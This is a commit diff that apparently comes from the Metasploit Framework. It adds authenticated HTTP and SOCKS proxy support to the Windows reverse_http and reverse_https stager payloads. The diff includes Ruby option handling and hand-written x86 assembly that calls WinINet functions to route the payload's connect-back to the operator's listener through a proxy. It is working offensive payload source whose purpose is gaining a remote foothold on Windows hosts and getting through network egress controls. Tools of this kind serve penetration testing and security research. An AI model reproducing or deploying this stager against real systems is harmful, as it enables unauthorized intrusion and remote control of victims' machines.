Adds proxy (with authentication) support to reverse_http(s)
This commit is contained in:
parent
bb81107e51
commit
7e89281485
|
@ -27,7 +27,12 @@ module Payload::Windows::ReverseHttp
|
|||
super
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('HTTPStagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
|
||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||
OptString.new('StagerProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
||||
OptPort.new('StagerProxyPort', [false, 'An optional proxy server port']),
|
||||
OptString.new('StagerProxyUser', [false, 'An optional proxy server username']),
|
||||
OptString.new('StagerProxyPass', [false, 'An optional proxy server password']),
|
||||
OptEnum.new('StagerProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -49,7 +54,12 @@ module Payload::Windows::ReverseHttp
|
|||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_uri,
|
||||
exitfunk: datastore['EXITFUNC']
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
proxy_host: datastore['StagerProxyHost'],
|
||||
proxy_port: datastore['StagerProxyPort'],
|
||||
proxy_user: datastore['StagerProxyUser'],
|
||||
proxy_pass: datastore['StagerProxyPass'],
|
||||
proxy_type: datastore['StagerProxyType']
|
||||
}
|
||||
|
||||
generate_reverse_http(conf)
|
||||
|
@ -75,7 +85,7 @@ module Payload::Windows::ReverseHttp
|
|||
#
|
||||
def generate_uri
|
||||
|
||||
uri_req_len = datastore['HTTPStagerURILength'].to_i
|
||||
uri_req_len = datastore['StagerURILength'].to_i
|
||||
|
||||
# Choose a random URI length between 30 and 255 bytes
|
||||
if uri_req_len == 0
|
||||
|
@ -83,7 +93,7 @@ module Payload::Windows::ReverseHttp
|
|||
end
|
||||
|
||||
if uri_req_len < 5
|
||||
raise ArgumentError, "Minimum HTTPStagerURILength is 5"
|
||||
raise ArgumentError, "Minimum StagerURILength is 5"
|
||||
end
|
||||
|
||||
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len)
|
||||
|
@ -112,6 +122,9 @@ module Payload::Windows::ReverseHttp
|
|||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# Proxy options?
|
||||
space += 200
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
@ -123,13 +136,37 @@ module Payload::Windows::ReverseHttp
|
|||
|
||||
#
|
||||
# options should contain:
|
||||
# ssl: (true|false)
|
||||
# url: "/url_to_request"
|
||||
# host: [hostname]
|
||||
# port: [port]
|
||||
# exitfunk: [process|thread|seh|sleep]
|
||||
# ssl: (true|false)
|
||||
# url: "/url_to_request"
|
||||
# host: [hostname]
|
||||
# port: [port]
|
||||
# exitfunk: [process|thread|seh|sleep]
|
||||
# proxy_host: [proxy-server]
|
||||
# proxy_port: [port]
|
||||
# proxy_user: [username]
|
||||
# proxy_pass: [password]
|
||||
# proxy_type: [HTTP|SOCKS]
|
||||
#
|
||||
|
||||
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
|
||||
proxy_info = ""
|
||||
|
||||
if proxy_enabled
|
||||
if opts[:proxy_type].to_s.downcase == "socks"
|
||||
proxy_info << "socks="
|
||||
else
|
||||
proxy_info << "http://"
|
||||
end
|
||||
|
||||
proxy_info << opts[:proxy_host].to_s
|
||||
if opts[:proxy_port].to_i > 0
|
||||
proxy_info << ":#{opts[:proxy_port]}"
|
||||
end
|
||||
end
|
||||
|
||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
|
||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
|
||||
|
||||
http_open_flags = 0
|
||||
|
||||
if opts[:ssl]
|
||||
|
@ -153,14 +190,11 @@ module Payload::Windows::ReverseHttp
|
|||
|
||||
asm = %Q^
|
||||
;-----------------------------------------------------------------------------;
|
||||
; Author: HD Moore
|
||||
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
|
||||
; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
|
||||
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
|
||||
; Version: 1.0
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the socket for the connection to the server
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
load_wininet:
|
||||
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
|
||||
|
@ -172,45 +206,103 @@ module Payload::Windows::ReverseHttp
|
|||
set_retry:
|
||||
push.i8 8 ; retry 8 times should be enough
|
||||
pop edi
|
||||
xor ebx, ebx ; push 8 zeros ([1]-[8])
|
||||
mov ecx, edi
|
||||
push_zeros:
|
||||
push ebx
|
||||
loop push_zeros
|
||||
|
||||
internetopen:
|
||||
; DWORD dwFlags [1]
|
||||
; LPCTSTR lpszProxyBypass (NULL) [2]
|
||||
; LPCTSTR lpszProxyName (NULL) [3]
|
||||
; DWORD dwAccessType (PRECONFIG = 0) [4]
|
||||
; LPCTSTR lpszAgent (NULL) [5]
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
xor ebx, ebx ; Set ebx to NULL to use in future arguments
|
||||
^
|
||||
|
||||
if proxy_enabled
|
||||
asm << %Q^
|
||||
call get_proxy_server
|
||||
db "#{proxy_info}", 0x00
|
||||
get_proxy_server:
|
||||
pop ecx
|
||||
internetopen:
|
||||
push ebx ; DWORD dwFlags
|
||||
push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
|
||||
push ecx ; LPCTSTR lpszProxyName (NULL)
|
||||
push.i8 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
|
||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
internetopen:
|
||||
push ebx ; DWORD dwFlags
|
||||
push ebx ; LPCTSTR lpszProxyBypass (NULL)
|
||||
push ebx ; LPCTSTR lpszProxyName (NULL)
|
||||
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
internetconnect:
|
||||
; DWORD_PTR dwContext (NULL) [6]
|
||||
; dwFlags [7]
|
||||
push ebx ; DWORD_PTR dwContext (NULL)
|
||||
push ebx ; dwFlags
|
||||
push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
||||
push ebx ; password (NULL)
|
||||
push ebx ; username (NULL)
|
||||
push #{opts[:port]} ; PORT
|
||||
call got_server_uri ; double call to get pointer for both server_uri and
|
||||
server_uri: ; server_host; server_uri is saved in EDI for later
|
||||
server_uri: ; server_host; server_uri is saved in EDI for later
|
||||
db "#{opts[:url]}", 0x00
|
||||
got_server_host:
|
||||
push eax ; HINTERNET hInternet
|
||||
push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
|
||||
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
||||
call ebp
|
||||
mov esi, eax ; Store hConnection in esi
|
||||
^
|
||||
|
||||
# Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
|
||||
# doesn't set the Proxy-Authorization header on the CONNECT request.
|
||||
|
||||
if proxy_enabled && proxy_user
|
||||
asm << %Q^
|
||||
call set_proxy_username
|
||||
proxy_username:
|
||||
db "#{proxy_user}",0x00
|
||||
set_proxy_username:
|
||||
pop ecx ; Save the proxy username into ecx
|
||||
; DWORD dwBufferLength (length of username)
|
||||
push #{proxy_user.length}
|
||||
push ecx ; LPVOID lpBuffer (username)
|
||||
push.i8 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
|
||||
push esi ; hConnection
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
if proxy_enabled && proxy_pass
|
||||
asm << %Q^
|
||||
call set_proxy_password
|
||||
proxy_password:
|
||||
db "#{proxy_pass}",0x00
|
||||
set_proxy_password:
|
||||
pop ecx ; Save the proxy password into ecx
|
||||
; DWORD dwBufferLength (length of password)
|
||||
push #{proxy_pass.length}
|
||||
push ecx ; LPVOID lpBuffer (password)
|
||||
push.i8 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
|
||||
push esi ; hConnection
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
httpopenrequest:
|
||||
; dwContext (NULL) [8]
|
||||
push ebx ; dwContext (NULL)
|
||||
push #{"0x%.8x" % http_open_flags} ; dwFlags
|
||||
push ebx ; accept types
|
||||
push ebx ; referrer
|
||||
push ebx ; version
|
||||
push edi ; server URI
|
||||
push ebx ; method
|
||||
push eax ; hConnection
|
||||
push esi ; hConnection
|
||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||
call ebp
|
||||
xchg esi, eax ; save hHttpRequest in esi
|
||||
|
|
|
@ -51,7 +51,12 @@ module Payload::Windows::ReverseHttps
|
|||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_uri,
|
||||
exitfunk: datastore['EXITFUNC']
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
proxy_host: datastore['StagerProxyHost'],
|
||||
proxy_port: datastore['StagerProxyPort'],
|
||||
proxy_user: datastore['StagerProxyUser'],
|
||||
proxy_pass: datastore['StagerProxyPass'],
|
||||
proxy_type: datastore['StagerProxyType']
|
||||
}
|
||||
|
||||
generate_reverse_https(conf)
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/core/payload/windows/reverse_http'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 306
|
||||
CachedSize = 311
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_https'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 326
|
||||
CachedSize = 331
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
|
Loading…
Reference in New Issue